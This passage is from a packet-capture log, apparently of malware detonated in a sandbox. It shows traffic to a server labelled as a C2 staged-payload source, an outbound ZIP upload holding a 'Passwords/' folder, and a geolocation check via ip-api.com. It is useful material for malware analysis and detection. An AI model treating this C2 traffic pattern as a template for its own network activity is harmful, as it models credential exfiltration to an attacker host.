\"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41708, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988234, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49634, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"504b03041400000000000b16895c0000000000000000000000000a00000050617373776f7264732f504b010214001400000000000b16895c0000000000000000000000000a000000000000000000000000000000000050617373776f7264732f504b0506000000000100010038000000280000000000\"\"}}]\"\n2026-04-29 14:29:43.441790,45,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1770832334 Ack=689988352,5254007bb792525400577f94080045000028477b400040063203b9a3cc5dc0a87aa81f90c3af698cc1ce2920630050100053c16c0000,RT.{..RT.W....E..(G{@.@.2....]..z.....i...) c.P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18299, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12803, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988352, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.450926,46,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=689988352 Ack=1770832334,525400577f945254007bb792080045000028961c40008006a361c0a87aa8b9a3cc5dc3af1f9029206300698cc1ce50118000c16c0000,RT.W..RT.{....E..(..@....a..z....]....) c.i...P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38428, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41825, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988352, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.451014,47,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=1770832334 Ack=689988353,5254007bb792525400577f94080045000028477c400040063202b9a3cc5dc0a87aa81f90c3af698cc1ce2920630150110053c16c0000,RT.{..RT.W....E..(G|@.@.2....]..z.....i...) c.P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18300, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12802, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988353, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.451337,48,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=689988353 Ack=1770832335,525400577f945254007bb792080045000028961d40008006a360c0a87aa8b9a3cc5dc3af1f9029206301698cc1cf50108000c16c0000,RT.W..RT.{....E..(..@....`..z....]....) c.i...P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38429, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41824, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988353, \"\"ack\"\": 1770832335, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.475864,49,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=1897488114 Ack=0,525400577f945254007bb792080045000034961e40008006a353c0a87aa8b9a3cc5dc3b01f9071195ef2000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4..@....S..z....]....q.^..........x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38430, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41811, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488114, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:29:43.475909,50,TCP 185.163.204.93:8080 -> 192.168.122.168:50096,185.163.204.93,192.168.122.168,8080,50096,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=747942179 Ack=1897488115,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c3b02c94b12371195ef38012a564c1780000020405b40101040201030309,\"RT.{..RT.W....E..4..@.@.yr...]..z.....,..#q.^....d.x.............\t\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50096, \"\"seq\"\": 747942179, \"\"ack\"\": 1897488115, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:29:43.476007,51,TCP 192.168.122.168:50096 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50096,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1897488115 Ack=747942180,525400577f945254007bb792080045000028961f40008006a35ec0a87aa8b9a3cc5dc3b01f9071195ef32c94b12450108000c16c0000,\"RT.W..RT.{....E..(..@....^..z....]....q.^.,..$P....l..\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38431, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41822, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50096, \"\"dport\"\": 8080, \"\"seq\"\": 1897488115, \"\"ack\"\": 747942180, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:46.434403,52,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=416520094 Ack=0,525400577f945254007bb79208004500003406dd400080067835c0a87aa8d05f7001c3b5005018d3979e000000008002faf07bd80000020405b40103030801010402,RT.W..RT.{....E..4..@...x5..z.._p....P............{...............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1757, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30773, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520094, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:29:46.434474,53,TCP 208.95.112.1:80 -> 192.168.122.168:50101,208.95.112.1,192.168.122.168,80,50101,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2612282429 Ack=416520095,5254007bb792525400577f94080045000034000040004006bf12d05f7001c0a87aa80050c3b59bb4443d18d3979f8012a5647bd80000020405b40101040201030309,RT.{..RT.W....E..4..@.@...._p...z..P....D=.......d{..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48914, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50101, \"\"seq\"\": 2612282429, \"\"ack\"\": 416520095, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:29:46.434692,54,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=416520095 Ack=2612282430,525400577f945254007bb79208004500002806de400080067840c0a87aa8d05f7001c3b5005018d3979f9bb4443e501020147bcc0000,RT.W..RT.{....E..(..@...x@..z.._p....P......D>P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1758, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30784, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520095, \"\"ack\"\": 2612282430, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:46.439405,55,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/json/?fields=countryCode,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /json/?fields=countryCode,525400577f945254007bb79208004500009506df4000800677d2c0a87aa8d05f7001c3b5005018d3979f9bb4443e501820147c390000474554202f6a736f6e2f3f6669656c64733d636f756e747279436f646520485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a486f73743a2069702d6170692e636f6d0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a0d0a,\"RT.W..RT.{....E.....@...w...z.._p....P......D>P. .|9..GET /json/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nConnection: Keep-Alive\n\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 149, \"\"id\"\": 1759, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30674, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50101, \"\"dport\"\": 80, \"\"seq\"\": 416520095, \"\"ack\"\": 2612282430, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31801, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/json/?fields=countryCode\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/5.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-29 14:29:46.439427,56,TCP 208.95.112.1:80 -> 192.168.122.168:50101,208.95.112.1,192.168.122.168,80,50101,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2612282430 Ack=416520204,5254007bb792525400577f940800450000282ced400040069231d05f7001c0a87aa80050c3b59bb4443e18d3980c501000537bcc0000,\"RT.{..RT.W....E..(,.@.@..1._p...z..P....D>....P..S{...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37425, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50101, \"\"seq\"\": 2612282430, \"\"ack\"\": 416520204, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:46.967336,57,TCP 208.95.112.1:80 -> 192.168.122.168:50101,208.95.112.1,192.168.122.168,80,50101,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f940800450000ec2cee40004006916cd05f7001c0a87aa80050c3b59bb4443e18d3980c501800537c900000485454502f312e3120323030204f4b0d0a446174653a205765642c2032392041707220323032362031343a32393a343620474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a2032300d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a2033380d0a582d526c3a2034330d0a0d0a7b22636f756e747279436f6465223a224e4c227d,\"{\"\"countryCode\"\":\"\"NL\"\"}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 236, \"\"id\"\": 11502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37228, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50101, \"\"seq\"\": 2612282430, \"\"ack\"\": 416520204, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31888, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"20\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/json; charset=utf-8\"\", \"\"Date\"\": \"\"Wed, 29 Apr 2026 14:29:46 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'38', b'X-Rl': b'43'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"countryCode\\\"\":\\\"\"NL\\\"\"}\"\"}}]\"\n2026-04-29 14:29:47.011083,58,TCP 192.168.122.168:50101 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50101,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=416520204 Ack=2612282626,525400577f945254007bb79208004500002806e040008006783ec0a87aa8d05f7001c3b5005018d3980c9bb44502501020137bcc0000,RT.W..RT.{....E..(..@...x>..z.._p....P......E.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, 